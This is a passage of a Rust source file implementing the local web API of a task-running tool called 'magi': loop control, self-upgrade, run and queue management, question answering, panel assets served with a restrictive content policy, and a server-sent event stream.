1860 Some(pid) => format!("another magi process (pid {pid})"),
1861 None => "another magi process".to_owned(),
1862 }
1863 }
1864}
1865
1866type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1871
1872fn launch_daemon(
1874 opts: daemon::Opts,
1875 stop: daemon::Stop,
1876) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1877 Box::pin(daemon::serve_until(opts, stop))
1878}
1879
1880#[derive(Debug, Default)]
1882struct LoopState {
1883 live: Option<Live>,
1885 rev: u64,
1893 last_error: Option<String>,
1896}
1897
1898#[derive(Debug)]
1900struct Live {
1901 stop: daemon::Stop,
1903 handle: tokio::task::JoinHandle<()>,
1908 opts: daemon::Opts,
1912}
1913
1914impl Live {
1915 fn alive(&self) -> bool {
1917 !self.handle.is_finished()
1918 }
1919}
1920
1921fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1928 state.lock().unwrap_or_else(PoisonError::into_inner)
1929}
1930
1931async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1933 blocking(move || {
1934 let reading = daemon::read_status(&ui.home);
1935 Ok(Json(ui.loop_view(reading)))
1936 })
1937 .await
1938}
1939
1940#[derive(Debug, Deserialize)]
1946#[serde(deny_unknown_fields)]
1947struct LoopCommand {
1948 running: bool,
1949 #[serde(default)]
1959 park: bool,
1960}
1961
1962async fn loop_post(
1970 State(ui): State<Arc<Ui>>,
1971 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1972) -> ApiResult<Json<LoopView>> {
1973 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1976 blocking(move || {
1977 let reading = daemon::read_status(&ui.home);
1978 let foreign = Foreign::of(reading.as_ref());
1979 if body.running {
1980 ui.start_loop(foreign)?;
1981 } else {
1982 ui.stop_loop(foreign, body.park)?;
1983 }
1984 Ok(Json(ui.loop_view(reading)))
1985 })
1986 .await
1987}
1988
1989#[derive(Debug, Serialize)]
1991struct UpgradeView {
1992 from: String,
1994 to: Option<String>,
1996 parked: Option<String>,
1998 detail: String,
2000}
2001
2002async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2026 let reading = daemon::read_status(&ui.home);
2027 if let Some(other) = Foreign::of(reading.as_ref()) {
2028 return Err(ApiError::conflict(format!(
2029 "the loop belongs to {}, so replacing this binary would leave \
2030 that process running an old one against the same queue. Upgrade \
2031 where it was started.",
2032 other.who()
2033 )));
2034 }
2035
2036 if crate::updater::disabled_by_env() {
2042 return Ok((
2043 StatusCode::OK,
2044 Json(UpgradeView {
2045 from: env!("CARGO_PKG_VERSION").to_owned(),
2046 to: None,
2047 parked: None,
2048 detail: format!(
2049 "Automatic updates are disabled by {}. Nothing was parked \
2050 and nothing restarted.",
2051 crate::updater::NO_AUTOUPDATE_ENV
2052 ),
2053 }),
2054 ));
2055 }
2056
2057 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2062 let from = env!("CARGO_PKG_VERSION").to_owned();
2063 let latest = match crate::updater::Checker::new(&cfg.update) {
2064 Some(checker) => checker
2065 .newer_release()
2066 .await
2067 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2068 None => None,
2069 };
2070 let Some(latest) = latest else {
2071 return Ok((
2072 StatusCode::OK,
2073 Json(UpgradeView {
2074 from,
2075 to: None,
2076 parked: None,
2077 detail: "Already on the newest release. Nothing was parked \
2078 and nothing restarted."
2079 .to_owned(),
2080 }),
2081 ));
2082 };
2083
2084 let parked = ui.park_for_upgrade()?;
2087 let detail = match &parked {
2088 Some(run) => format!(
2093 "Run {} is parking at its next step, which can take as long as \
2094 the step it is on - up to an hour for an implement wave. The \
2095 deck replaces itself once it parks, comes back, and the loop \
2096 carries that run on from where it stopped. Nothing is lost if \
2097 you close this.",
2098 crate::run::short_of(run)
2099 ),
2100 None => "The deck replaces itself and comes back. Nothing was in \
2101 flight to park."
2102 .to_owned(),
2103 };
2104
2105 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2109 progress.parked_run = parked.clone();
2110 let _ = updater::write_progress(&ui.home, &progress);
2111
2112 let home = ui.home.clone();
2113 tokio::spawn(async move {
2114 if let Err(e) = upgrade_and_restart(home.clone()).await {
2115 tracing::error!("the upgrade did not complete: {e:#}");
2116 if let Some(mut progress) = updater::read_progress(&home) {
2117 progress.fail(format!("{e:#}"));
2118 let _ = updater::write_progress(&home, &progress);
2119 }
2120 }
2121 });
2122
2123 Ok((
2124 StatusCode::ACCEPTED,
2125 Json(UpgradeView {
2126 from,
2127 to: Some(latest.tag_name),
2128 parked,
2129 detail,
2130 }),
2131 ))
2132}
2133
2134async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2139 crate::updater::run_self_update(true, false, true).await?;
2142 tracing::info!("binary replaced - asking the server to hand over");
2143 if let Some(mut progress) = updater::read_progress(&home) {
2144 progress.advance(updater::Stage::Replaced);
2145 let _ = updater::write_progress(&home, &progress);
2146 }
2147 HANDOVER.notify_one();
2148 Ok(())
2149}
2150
2151#[derive(Debug, Serialize)]
2157struct RunSummary {
2158 id: String,
2159 short: String,
2160 status: String,
2161 done: bool,
2162 instruction: String,
2163 title: String,
2164 repo: String,
2165 repo_name: String,
2166 created_at: String,
2167 updated_at: String,
2168 candidates: usize,
2169 viable: usize,
2170 judges: usize,
2171 winner: Option<char>,
2172 reviews: usize,
2173 quota_losses: usize,
2174 event: Option<String>,
2175 superseded_by: Option<String>,
2180 waiting: bool,
2187 live: crate::run::Liveness,
2191 pr: Option<crate::run::PrRecord>,
2193 unmerged_by_design: bool,
2199}
2200
2201impl RunSummary {
2202 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2203 Self {
2204 id: state.id.clone(),
2205 short: state.short().to_owned(),
2206 status: status_word(state.status),
2207 done: state.status.done(),
2208 unmerged_by_design: state.unmerged_by_design(),
2209 instruction: state.instruction.clone(),
2210 title: title_from(&state.instruction, TITLE_MAX),
2211 repo: state.repo.display().to_string(),
2212 repo_name: state
2213 .repo
2214 .file_name()
2215 .map(|n| n.to_string_lossy().into_owned())
2216 .unwrap_or_default(),
2217 created_at: state.created_at.to_string(),
2218 updated_at: state.updated_at.to_string(),
2219 candidates: state.candidates.len(),
2220 viable: state.viable().len(),
2221 judges: state.config.graph.judges,
2222 winner: state.winner().map(|c| c.label),
2223 reviews: state.reviews.len(),
2224 quota_losses: state.quota.len(),
2225 event: state.events.last().map(|e| e.message.clone()),
2226 waiting,
2227 live,
2228 superseded_by: None,
2231 pr: state.pr.clone(),
2232 }
2233 }
2234}
2235
2236fn status_word(status: RunStatus) -> String {
2239 status.as_str().to_owned()
2243}
2244
2245#[derive(Debug, Deserialize)]
2247struct ListQuery {
2248 #[serde(default)]
2249 limit: Option<usize>,
2250}
2251
2252async fn runs_list(
2253 State(ui): State<Arc<Ui>>,
2254 Query(q): Query<ListQuery>,
2255) -> ApiResult<Json<Vec<RunSummary>>> {
2256 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2257 blocking(move || {
2258 let superseded = superseded_runs(&ui.queue);
2259 let open_runs: HashSet<String> = ui
2263 .questions
2264 .list()
2265 .into_iter()
2266 .filter(|q| q.status.open())
2267 .map(|q| q.run)
2268 .collect();
2269 let claimed: HashSet<String> =
2270 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2271 .into_iter()
2272 .map(|c| c.run)
2273 .collect();
2274 let states = run_ids(&ui.runs)
2275 .into_iter()
2276 .filter_map(|id| read_run(&ui.runs, &id).ok())
2281 .take(limit);
2282 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2283 let summaries = summarize(
2284 states,
2285 &open_runs,
2286 &claimed,
2287 &superseded,
2288 |p| probe.borrow_mut().status(p),
2289 |p| probe.borrow_mut().started_at(p),
2290 );
2291 Ok(Json(summaries))
2292 })
2293 .await
2294}
2295
2296fn summarize<I, S, D>(
2302 states: I,
2303 open_runs: &HashSet<String>,
2304 claimed: &HashSet<String>,
2305 superseded: &HashMap<String, String>,
2306 mut status_q: S,
2307 mut identity_q: D,
2308) -> Vec<RunSummary>
2309where
2310 I: IntoIterator<Item = RunState>,
2311 S: FnMut(u32) -> Option<bool>,
2312 D: FnMut(u32) -> Option<String>,
2313{
2314 states
2315 .into_iter()
2316 .map(|state| {
2317 let waiting = open_runs.contains(&state.id);
2318 let live =
2319 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2320 let mut row = RunSummary::of(&state, waiting, live);
2321 row.superseded_by = superseded
2322 .get(&state.id)
2323 .map(String::as_str)
2324 .map(crate::run::short_of)
2325 .map(str::to_owned);
2326 row
2327 })
2328 .collect()
2329}
2330
2331fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2344 let mut by = HashMap::new();
2345 for task in queue.list() {
2346 for pair in task.runs.windows(2) {
2347 if let [earlier, later] = pair {
2348 by.insert(earlier.clone(), later.clone());
2349 }
2350 }
2351 }
2352 by
2353}
2354
2355#[derive(Debug, Serialize)]
2362struct RunDetailView {
2363 #[serde(flatten)]
2364 state: RunState,
2365 instruction_md: Vec<md::Node>,
2366 live: crate::run::Liveness,
2381 unmerged_by_design: bool,
2386}
2387
2388impl RunDetailView {
2389 fn of(state: RunState, live: crate::run::Liveness) -> Self {
2390 Self {
2391 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2392 live,
2393 unmerged_by_design: state.unmerged_by_design(),
2394 state,
2395 }
2396 }
2397}
2398
2399async fn run_detail(
2400 State(ui): State<Arc<Ui>>,
2401 Path(id): Path<String>,
2402) -> ApiResult<Json<RunDetailView>> {
2403 blocking(move || {
2404 let id = resolve_run(&ui.runs, &id)?;
2405 let state = read_run(&ui.runs, &id)?;
2406 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2407 let live = state.liveness(daemon_claims);
2408 Ok(Json(RunDetailView::of(state, live)))
2409 })
2410 .await
2411}
2412
2413async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2422 let (id, unreadable) = {
2423 let ui = Arc::clone(&ui);
2424 blocking(move || {
2425 let id = resolve_run(&ui.runs, &id)?;
2426 match read_run(&ui.runs, &id) {
2427 Ok(state) => {
2428 let in_flight =
2429 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2430 state
2431 .ensure_can_delete(in_flight)
2432 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2433 let dir = ui.runs.join(&id);
2434 std::fs::remove_dir_all(&dir)
2435 .with_context(|| format!("remove run directory {}", dir.display()))?;
2436 Ok((id, false))
2437 }
2438 Err(_) => {
2439 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2443 return Err(ApiError::conflict(format!(
2444 "run {id} is being worked on by a live daemon right now"
2445 )));
2446 }
2447 Ok((id, true))
2448 }
2449 }
2450 })
2451 .await?
2452 };
2453 if unreadable {
2454 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2455 .await
2456 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2457 }
2458 let ui = Arc::clone(&ui);
2459 let done = id.clone();
2460 blocking(move || {
2461 ui.questions.abandon_for_run(
2464 &done,
2465 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2466 )?;
2467 Ok(())
2468 })
2469 .await?;
2470 Ok(StatusCode::NO_CONTENT)
2471}
2472
2473async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2497 let (id, state) = {
2498 let ui = Arc::clone(&ui);
2499 blocking(move || {
2500 let id = resolve_run(&ui.runs, &id)?;
2501 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2502 return Err(ApiError::conflict(format!(
2503 "run {id} is being worked on by a live daemon right now"
2504 )));
2505 }
2506 let state = read_run(&ui.runs, &id).ok();
2507 Ok((id, state))
2508 })
2509 .await?
2510 };
2511 let removed = match state {
2512 Some(mut state) => {
2513 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2514 .await
2515 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2516 if removed.is_empty() {
2521 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2522 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2523 }
2524 removed
2525 }
2526 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2527 .await
2528 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2529 };
2530 Ok(Json(FoldView {
2531 run: id,
2532 removed_count: removed.len(),
2533 removed,
2534 }))
2535}
2536
2537#[derive(Debug, Serialize)]
2539struct FoldView {
2540 run: String,
2541 removed: Vec<String>,
2543 removed_count: usize,
2544}
2545
2546async fn run_resume(
2566 State(ui): State<Arc<Ui>>,
2567 Path(id): Path<String>,
2568) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2569 let (id, state) = {
2570 let ui = Arc::clone(&ui);
2571 blocking(move || {
2572 let id = resolve_run(&ui.runs, &id)?;
2573 let state = read_run(&ui.runs, &id)?;
2574 Ok((id, state))
2575 })
2576 .await?
2577 };
2578 if !state.status.resumable() {
2579 return Err(ApiError::conflict(format!(
2580 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2581 state.short(),
2582 status_word(state.status)
2583 )));
2584 }
2585 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2590 .into_iter()
2591 .next()
2592 {
2593 return Err(ApiError::conflict(format!(
2594 "the loop is running run {} right now; stop it first, or wait for \
2595 it to finish, before resuming a run by hand.",
2596 crate::run::short_of(&work.run)
2597 )));
2598 }
2599 let _resume = ui.begin_resume(&id)?;
2600
2601 let queued = RunSummary::of(
2604 &state,
2605 !ui.questions.open_for(&id).is_empty(),
2606 state.liveness(false),
2607 );
2608 let run = id.clone();
2609 tokio::spawn(async move {
2610 let _resume = _resume;
2611 match crate::graph::Runner::resume(&run) {
2612 Ok(mut runner) => {
2613 if let Err(e) = runner.execute().await {
2614 tracing::warn!("resume of run {run} stopped: {e:#}");
2615 }
2616 }
2617 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2620 }
2621 });
2622 Ok((StatusCode::ACCEPTED, Json(queued)))
2623}
2624
2625async fn run_report(
2626 State(ui): State<Arc<Ui>>,
2627 Path(id): Path<String>,
2628) -> ApiResult<impl IntoResponse> {
2629 let text = blocking(move || {
2630 let id = resolve_run(&ui.runs, &id)?;
2631 let state = read_run(&ui.runs, &id)?;
2635 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2636 let live = state.liveness(daemon_claims);
2637 Ok(format!(
2638 "{}{}",
2639 report::run(&state),
2640 report::active_seats(&state, live)
2641 ))
2642 })
2643 .await?;
2644 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2645}
2646
2647#[derive(Debug, Serialize)]
2653struct TaskView {
2654 #[serde(flatten)]
2655 task: Task,
2656 source_label: String,
2657 status_str: &'static str,
2658 instruction_md: Vec<md::Node>,
2662}
2663
2664impl From<Task> for TaskView {
2665 fn from(task: Task) -> Self {
2666 Self {
2667 source_label: task.source.label(),
2668 status_str: task.status.as_str(),
2669 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2670 task,
2671 }
2672 }
2673}
2674
2675#[derive(Debug, Default, Deserialize)]
2678#[serde(default)]
2679struct ReposQuery {
2680 refresh: u8,
2681}
2682
2683async fn repos_list(
2690 State(ui): State<Arc<Ui>>,
2691 Query(q): Query<ReposQuery>,
2692) -> ApiResult<Json<Vec<repos::Repo>>> {
2693 let refresh = q.refresh != 0;
2694 blocking(move || {
2695 let (cfg, _) = Config::discover(&ui.repo, None)?;
2696 Ok(Json(ui.repos_cache.list(
2697 &cfg.repos.roots,
2698 Duration::from_secs(cfg.repos.scan_ttl),
2699 refresh,
2700 )))
2701 })
2702 .await
2703}
2704
2705async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2706 blocking(move || {
2707 Ok(Json(
2708 ui.queue.list().into_iter().map(TaskView::from).collect(),
2709 ))
2710 })
2711 .await
2712}
2713
2714#[derive(Debug, Default, Deserialize)]
2717#[serde(default, deny_unknown_fields)]
2718struct HoldBody {
2719 reason: Option<String>,
2720}
2721
2722async fn queue_hold(
2723 State(ui): State<Arc<Ui>>,
2724 Path(id): Path<String>,
2725 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2726) -> ApiResult<Json<TaskView>> {
2727 let body = match body {
2731 Ok(Json(body)) => body,
2732 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2733 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2734 };
2735 let reason = body.reason.filter(|r| !r.trim().is_empty());
2736 mutate(ui, id, move |t| {
2737 t.hold_manual(reason.clone());
2738 Ok(())
2739 })
2740 .await
2741}
2742
2743async fn queue_release(
2744 State(ui): State<Arc<Ui>>,
2745 Path(id): Path<String>,
2746) -> ApiResult<Json<TaskView>> {
2747 mutate(ui, id, |t| {
2748 t.release();
2749 Ok(())
2750 })
2751 .await
2752}
2753
2754#[derive(Debug, Deserialize)]
2756#[serde(deny_unknown_fields)]
2757struct PriorityBody {
2758 priority: i32,
2759}
2760
2761async fn queue_priority(
2767 State(ui): State<Arc<Ui>>,
2768 Path(id): Path<String>,
2769 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2770) -> ApiResult<Json<TaskView>> {
2771 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2772 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2773}
2774
2775#[derive(Debug, Deserialize)]
2777#[serde(deny_unknown_fields)]
2778struct EditBody {
2779 title: String,
2780 instruction: String,
2781}
2782
2783async fn queue_edit(
2787 State(ui): State<Arc<Ui>>,
2788 Path(id): Path<String>,
2789 body: std::result::Result<Json<EditBody>, JsonRejection>,
2790) -> ApiResult<Json<TaskView>> {
2791 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2792 mutate(ui, id, move |t| {
2793 t.edit(body.title.clone(), body.instruction.clone())
2794 })
2795 .await
2796}
2797
2798async fn queue_done(
2806 State(ui): State<Arc<Ui>>,
2807 Path(id): Path<String>,
2808) -> ApiResult<Json<TaskView>> {
2809 mutate(ui, id, |t| {
2810 t.succeed();
2811 Ok(())
2812 })
2813 .await
2814}
2815
2816async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2824 blocking(move || {
2825 let id = resolve_task(&ui.queue, &id)?;
2826 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2827 ui.queue
2828 .remove(&id, in_flight, &ui.questions)
2829 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2830 Ok(StatusCode::NO_CONTENT)
2831 })
2832 .await
2833}
2834
2835async fn mutate(
2844 ui: Arc<Ui>,
2845 id: String,
2846 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2847) -> ApiResult<Json<TaskView>> {
2848 blocking(move || {
2849 let id = resolve_task(&ui.queue, &id)?;
2850 let _claim = ui.queue.claim(&id).map_err(|e| {
2855 ApiError::conflict(format!(
2856 "{e:#} - a daemon is running this task, so it cannot be \
2857 changed from here yet"
2858 ))
2859 })?;
2860 let mut task = ui.queue.get(&id)?;
2861 change(&mut task).map_err(ApiError::bad_request_from)?;
2862 ui.queue.put(&mut task)?;
2863 Ok(Json(TaskView::from(task)))
2864 })
2865 .await
2866}
2867
2868async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2876 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2877 tokio::spawn(async move {
2878 let mut ticker = tokio::time::interval(POLL);
2879 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2880 loop {
2881 ticker.tick().await;
2884 let state = Arc::clone(&ui);
2885 let revisions = tokio::task::spawn_blocking(move || {
2886 (
2887 state.queue.revision(),
2888 runs_revision(&state.runs),
2889 state.questions.revision(),
2890 state.talks.revision(),
2891 state.lock_loop().rev,
2895 )
2896 })
2897 .await;
2898 let Ok(revisions) = revisions else { break };
2899 if last == Some(revisions) {
2900 continue;
2901 }
2902 last = Some(revisions);
2903 let payload = serde_json::json!({
2904 "queue_rev": revisions.0,
2905 "runs_rev": revisions.1,
2906 "questions_rev": revisions.2,
2907 "talks_rev": revisions.3,
2908 "loop_rev": revisions.4,
2909 });
2910 let Ok(event) = Event::default().event("change").json_data(payload) else {
2912 break;
2913 };
2914 if tx.send(event).await.is_err() {
2915 break;
2916 }
2917 }
2918 });
2919 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2920 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2921}
2922
2923fn runs_revision(runs: &FsPath) -> u64 {
2930 use std::hash::{Hash as _, Hasher as _};
2931
2932 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2933 .into_iter()
2934 .flatten()
2935 .flatten()
2936 .filter_map(|e| {
2937 let path = e.path().join("run.json");
2938 let mtime = path
2939 .metadata()
2940 .ok()?
2941 .modified()
2942 .ok()?
2943 .duration_since(std::time::UNIX_EPOCH)
2944 .ok()?
2945 .as_millis() as u64;
2946 let id = e.file_name().to_string_lossy().into_owned();
2947 Some((id, mtime))
2948 })
2949 .collect();
2950
2951 if entries.is_empty() {
2952 return 0;
2953 }
2954
2955 entries.sort_unstable();
2956 let mut hasher = std::hash::DefaultHasher::new();
2957 for (id, mtime) in &entries {
2958 id.hash(&mut hasher);
2959 mtime.hash(&mut hasher);
2960 }
2961 let h = hasher.finish();
2962 if h == 0 { 1 } else { h }
2963}
2964
2965fn run_ids(runs: &FsPath) -> Vec<String> {
2971 let mut ids: Vec<String> = std::fs::read_dir(runs)
2972 .into_iter()
2973 .flatten()
2974 .flatten()
2975 .filter(|e| e.path().join("run.json").is_file())
2976 .map(|e| e.file_name().to_string_lossy().into_owned())
2977 .collect();
2978 ids.sort_unstable_by(|a, b| b.cmp(a));
2980 ids
2981}
2982
2983fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2985 let path = runs.join(id).join("run.json");
2986 let body =
2987 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2988 let state: RunState =
2989 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2990 if state.schema != run::SCHEMA {
2991 anyhow::bail!(
2992 "run {} was written by a different magi (schema {}, this build speaks {})",
2993 state.id,
2994 state.schema,
2995 run::SCHEMA
2996 );
2997 }
2998 Ok(state)
2999}
3000
3001#[must_use]
3009pub fn runs_unreadable(runs: &FsPath) -> usize {
3010 run_ids(runs)
3011 .into_iter()
3012 .filter(|id| read_run(runs, id).is_err())
3013 .count()
3014}
3015
3016fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3018 if runs.join(id).join("run.json").is_file() {
3019 return Ok(id.to_owned());
3020 }
3021 pick(run_ids(runs), id, "run")
3022}
3023
3024fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3026 if queue.path_of(id).is_file() {
3027 return Ok(id.to_owned());
3028 }
3029 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3030}
3031
3032#[derive(Debug, Serialize)]
3043struct QuestionView {
3044 #[serde(flatten)]
3045 question: Question,
3046 detail_md: Vec<md::Node>,
3047 waiting_on_agent: bool,
3057}
3058
3059impl From<Question> for QuestionView {
3060 fn from(question: Question) -> Self {
3061 let base = md::ImageBase::QuestionPanel {
3062 id: question.id.clone(),
3063 };
3064 Self {
3065 detail_md: md::to_nodes(&question.detail, &base),
3066 waiting_on_agent: question.waiting_on_agent(),
3067 question,
3068 }
3069 }
3070}
3071
3072async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3078 blocking(move || {
3079 Ok(Json(
3080 ui.questions
3081 .list()
3082 .into_iter()
3083 .map(QuestionView::from)
3084 .collect(),
3085 ))
3086 })
3087 .await
3088}
3089
3090#[derive(Debug, Default, Deserialize)]
3096#[serde(default, deny_unknown_fields)]
3097struct NewAnswer {
3098 choice: Option<String>,
3099 text: Option<String>,
3100}
3101
3102async fn question_answer(
3103 State(ui): State<Arc<Ui>>,
3104 Path(id): Path<String>,
3105 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3106) -> ApiResult<Json<QuestionView>> {
3107 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3108 let answer = match (body.choice, body.text) {
3109 (Some(c), None) => Answer::Choice(c),
3110 (None, Some(t)) => Answer::Text(t),
3111 (Some(_), Some(_)) => {
3112 return Err(ApiError::bad_request(
3113 "send either `choice` or `text`, not both",
3114 ));
3115 }
3116 (None, None) => {
3117 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3118 }
3119 };
3120
3121 blocking(move || {
3122 let id = resolve_question(&ui.questions, &id)?;
3123 let mut q = ui
3124 .questions
3125 .get(&id)
3126 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3127 if !q.status.open() {
3128 return Err(ApiError::conflict(format!(
3132 "question {} is already {}",
3133 q.short(),
3134 q.status.as_str()
3135 )));
3136 }
3137 q.answer(answer).map_err(ApiError::bad_request_from)?;
3141 ui.questions.put(&mut q)?;
3142 Ok(Json(QuestionView::from(q)))
3143 })
3144 .await
3145}
3146
3147#[derive(Debug, Deserialize)]
3149#[serde(deny_unknown_fields)]
3150struct NewSay {
3151 body: String,
3152}
3153
3154async fn question_say(
3164 State(ui): State<Arc<Ui>>,
3165 Path(id): Path<String>,
3166 body: std::result::Result<Json<NewSay>, JsonRejection>,
3167) -> ApiResult<Json<QuestionView>> {
3168 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3169 blocking(move || {
3170 let id = resolve_question(&ui.questions, &id)?;
3171 let mut q = ui
3172 .questions
3173 .get(&id)
3174 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3175 if !q.status.open() {
3176 return Err(ApiError::conflict(format!(
3180 "question {} is already {}",
3181 q.short(),
3182 q.status.as_str()
3183 )));
3184 }
3185 q.say(body.body).map_err(ApiError::bad_request_from)?;
3188 ui.questions.put(&mut q)?;
3189 Ok(Json(QuestionView::from(q)))
3190 })
3191 .await
3192}
3193
3194fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3196 if store.path_of(id).is_file() {
3197 return Ok(id.to_owned());
3198 }
3199 pick(
3200 store.list().into_iter().map(|q| q.id).collect(),
3201 id,
3202 "question",
3203 )
3204}
3205
3206async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3221 blocking(move || {
3222 let id = resolve_question(&ui.questions, &id)?;
3223 let Some(html) = ui.questions.panel_html(&id) else {
3224 return Err(ApiError::not_found(format!("question {id} has no panel")));
3225 };
3226 Ok(panel_response(
3227 "text/html; charset=utf-8",
3228 false,
3229 html.into_bytes(),
3230 ))
3231 })
3232 .await
3233}
3234
3235async fn question_asset(
3263 State(ui): State<Arc<Ui>>,
3264 Path((id, name)): Path<(String, String)>,
3265) -> ApiResult<Response> {
3266 if !crate::ask::valid_asset_name(&name) {
3269 return Err(ApiError::bad_request(format!(
3270 "`{name}` is not a usable asset name"
3271 )));
3272 }
3273 blocking(move || {
3274 let id = resolve_question(&ui.questions, &id)?;
3275 let asset = ui
3276 .questions
3277 .panel_asset(&id, &name)
3278 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3279 let Some(bytes) = asset else {
3280 return Err(ApiError::not_found(format!(
3281 "question {id} has no asset `{name}`"
3282 )));
3283 };
3284 Ok(panel_response(
3285 asset_content_type(&name),
3286 is_svg(&name),
3287 bytes,
3288 ))
3289 })
3290 .await
3291}
3292
3293fn asset_content_type(name: &str) -> &'static str {
3306 match extension(name).as_deref() {
3307 Some("png") => "image/png",
3308 Some("jpg" | "jpeg") => "image/jpeg",
3309 Some("gif") => "image/gif",
3310 Some("webp") => "image/webp",
3311 Some("svg") => "image/svg+xml",
3312 Some("css") => "text/css; charset=utf-8",
3313 Some("txt") => "text/plain; charset=utf-8",
3314 _ => "application/octet-stream",
3315 }
3316}
3317
3318fn is_svg(name: &str) -> bool {
3321 extension(name).as_deref() == Some("svg")
3322}
3323
3324fn extension(name: &str) -> Option<String> {
3326 name.rsplit_once('.')
3327 .map(|(_, ext)| ext.to_ascii_lowercase())
3328}
3329
3330fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3347 let mut res = (
3348 [
3349 (header::CONTENT_TYPE, content_type),
3350 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3351 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3352 (header::REFERRER_POLICY, "no-referrer"),
3353 ],
3354 body,
3355 )
3356 .into_response();
3357 if download {
3358 res.headers_mut().insert(
3359 header::CONTENT_DISPOSITION,
3360 HeaderValue::from_static("attachment"),
3361 );
3362 }
3363 res
3364}
3365
3366#[derive(Debug, Serialize)]
3372struct TalkView {
3373 #[serde(flatten)]
3374 talk: Talk,
3375 turn_bodies_md: Vec<Vec<md::Node>>,
3376 thinking: bool,
3384}
3385
3386impl TalkView {
3387 fn new(talk: Talk, thinking: bool) -> Self {
3388 let turn_bodies_md = talk
3389 .turns
3390 .iter()
3391 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3392 .collect();
3393 Self {
3394 turn_bodies_md,
3395 thinking,
3396 talk,
3397 }
3398 }
